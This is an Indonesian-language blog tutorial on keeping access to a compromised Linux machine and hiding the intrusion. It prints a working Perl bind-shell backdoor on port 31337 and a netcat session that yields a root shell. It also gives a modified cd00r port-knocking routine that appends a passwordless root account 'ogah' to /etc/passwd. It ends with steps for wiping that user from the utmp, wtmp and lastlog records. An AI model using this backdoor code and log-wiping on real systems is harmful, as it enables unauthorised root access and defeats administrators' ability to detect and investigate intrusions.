Backdooring and Covering Tracks

Posting ini hanya penjabaran dari posting saya sebelumnya tentang Hacking Anatomy. Ternyata banyak yang tertarik dengan posting saya tersebut hehe, sehingga saya tambahkan beberapa detail untuk step backdooring dan covering tracks pada step Hacking Anatomy tersebut pada posting ini. Posting ini sekaligus menjawab pertanyaan seorang pengunjung yang bertanya kenapa harus backdoor file PHP? Hehe.. kalau begitu pada posting ini saya tambahkan backdoor non-PHP.

Backdoor

Berikut ini adalah contoh backdoor yang listen di port tertentu. Ketika attacker melakukan koneksi ke port tersebut, yang didapatkan oleh attacker adalah shell target. Backdoor ini menggunakan script perl.

#!/usr/bin/perl
use IO::Socket;
$sock = new IO::Socket::INET(
LocalPort => 31337, 
Listen => 1,
Reuse => 1,
Proto => 'tcp') || die "Error creating socket: $!";
$client = $sock->accept();
print $client "Welcome, Master.\n";
print $client "%";
while($line = <$client>) {
my @command_line = `$line`;
print $client "@command_line\n";
print $client "%"
}
close($sock);

Yang perlu diperhatikan adalah bagian

LocalPort => 31337,

Ini adalah LocalPort yang digunakan oleh program untuk listening inbound connection-nya. Ketika ada yang terkoneksi ke port ini, shell target akan muncul dengan kata pembuka “Welcome, Master”. Oke, save script perl diatas, dan jalankan pada target.

[email protected]:~# perl -wx backdoor.pl &

Setelah itu, dari sisi attacker, kita coba lakukan koneksi ke port yang sudah disetup tadi. Contoh script ini berarti kita coba lakukan koneksi ke port 31337. Seperti inilah hasilnya:

[email protected]:~# nc -vvn 192.168.1.5 31337
(UNKNOWN) [192.168.1.5] 24464 (?) open
Welcome, Master.
%whoami
root
%id
uid=0(root) gid=0(root)

Ini hanyalah contoh backdoor yang di dunia nyata sangat jarang kita temui. Karena backdoor ini dapat dengan mudah dideteksi oleh sysadmin mesin target (kalau jeli). Program backdoor yang di-bind pada port 31337 ini juga dapat dengan mudah ditemukan ketika ada pengguna yang melakukan portscanning. Siapapun yang melakukan koneksi ke port 31337 ini tentu dengan mudahnya bisa mendapatkan rootshell hasil jerih payah kita! Emang rela? Hehehe.. Untuk itu, backdoor ini masih harus dikembangkan.

Ada lagi contoh backdoor non-listening sehingga lebih stealth. Salah satunya yaitu cd00r (phenoelit.de). Cara kerja backdoor ini menggunakan teknik portknocking sebagai syarat jika ingin menjalankan fungsi program sesungguhnya a.k.a membuka pintu akses. Analoginya seperti begini: kita mau keluar kamar. Kemudian kita menyuruh teman kamar kita agar hanya membuka pintu kamar apabila ada orang dari luar yang mengetuk pintu 3x, mengetuk jendela 2x, kemudian mengetuk pintu lagi 1x.

cd00r yang telah running di mesin target akan melakukan rutinitas sniffing traffic TCP SYN pada interface tertentu. Jika ditemukan paket dengan port tujuan yang secara sekuensial cocok dengan urutan port yang harus di ketuk (knock), maka program akan melakukan aktifitas selanjutnya, yaitu membuka koneksi di port baru. Attacker tinggal melakukan koneksi ke port tersebut. Cara ini lebih aman kan?

Berikut ini adalah contoh backdoor cd00r yang telah dimodifikasi. Backdoor ini akan membuat user ‘ogah’ dengan privilege setara root. Tetapi syarat sebelum backdoor melakukan add user ini, siapapun yang ingin memanfaatkan backdoor ini harus mengirimkan TCP SYN (port knocking) ke port-port yang sudah didefinisikan pada CDR_PORTS, seperti di bawah ini:

#define CDR_INTERFACE "eth0"
#define CDR_PORTS { 19,87,12,7,00 }

Fungsi untuk melakukan aksi setelah knockingnya sesuai adalah melakukan add user ‘ogah’:

void cdr_open_door(void) {
 FILE *f;
 switch (fork()) {
case -1:
 return;
case 0:
 switch (fork()) {
case -1: _exit(0);
case 0: 
 break;
default: _exit(0);
 }
 break;
default:
 wait(NULL);
 return;
 }
f=fopen("/etc/passwd","a+");
fprintf(f,"ogah::0:0::/root:/bin/sh\n");
 exit (0);
}

Save, compile, dan jalankan cd00r pada mesin target

./cd00r

Kemudian pada mesin attacker, lakukan port knocking ke port 19, 87, 12, 7 secara berurutan, agar user ‘ogah’ dibuatkan di mesin target.

[email protected]:~#nc -z 192.168.1.5 19 87 12 7

Yaa.. selanjutnya tinggal login ssh ke mesin target dengan menggunakan user ‘ogah’ .. Semoga udah dibuatkan sama backdoor-nya disana. Good luck hehe.

Covering Tracks

Covering track, adalah aktifitas menghapus log aktifitas kita pada mesin target. Seperti yang kita ketahui, dalam melakukan covering tracks, beberapa file yang perlu diperhatikan adalah file-file ini:

  1. WTMP, mencatat setiap ada yang login/logoff
  2. UTMP, mencatat siapa yang sedang melakukan akses saat ini
  3. Lastlog, mencatat source address user yang melakukan login terakhir

Tools seperti uzapper dapat kita gunakan untuk menghapus log aktifitas kita. Berikut ini contoh ketika user ogah terekam pada command linux ‘w’:

[email protected]:~# w
2:54am up 1:33, 2 users, load average: 0.00, 0.01, 0.02
User tty login@ idle JCPU PCPU what
root pts/1 2:21am 14 w
ogah pts/2 2:52am 1 -sh

Cara menggunakan uzapper, simply ketikkan command: ./<nama program>[spasi]<username yang ingin dihapus>. Contoh:

[email protected]:~# ./anti-kanyahoan
Usage: ./anti-kanyahoan Usernane
[email protected]:~# ./anti-kanyahoan ogah
Wiped 1 entries of ogah from /var/adm/utmpx.
Wiped 1 entries of ogah from /var/adm/wtmpx.
Wiped ogah from /var/adm/lastlog.
[email protected]:~# w
2:41am up 1:38, 1 user, load average: 0.00, 0.02, 0.02
User tty login@ idle JCPU PCPU what
root pts/1 2:38am w

User ‘ogah’ sudah hilang dari rekaman utmp, wtmp, dan lastlog.

One thought on “Backdooring and Covering Tracks

Leave a Reply

Your email address will not be published. Required fields are marked *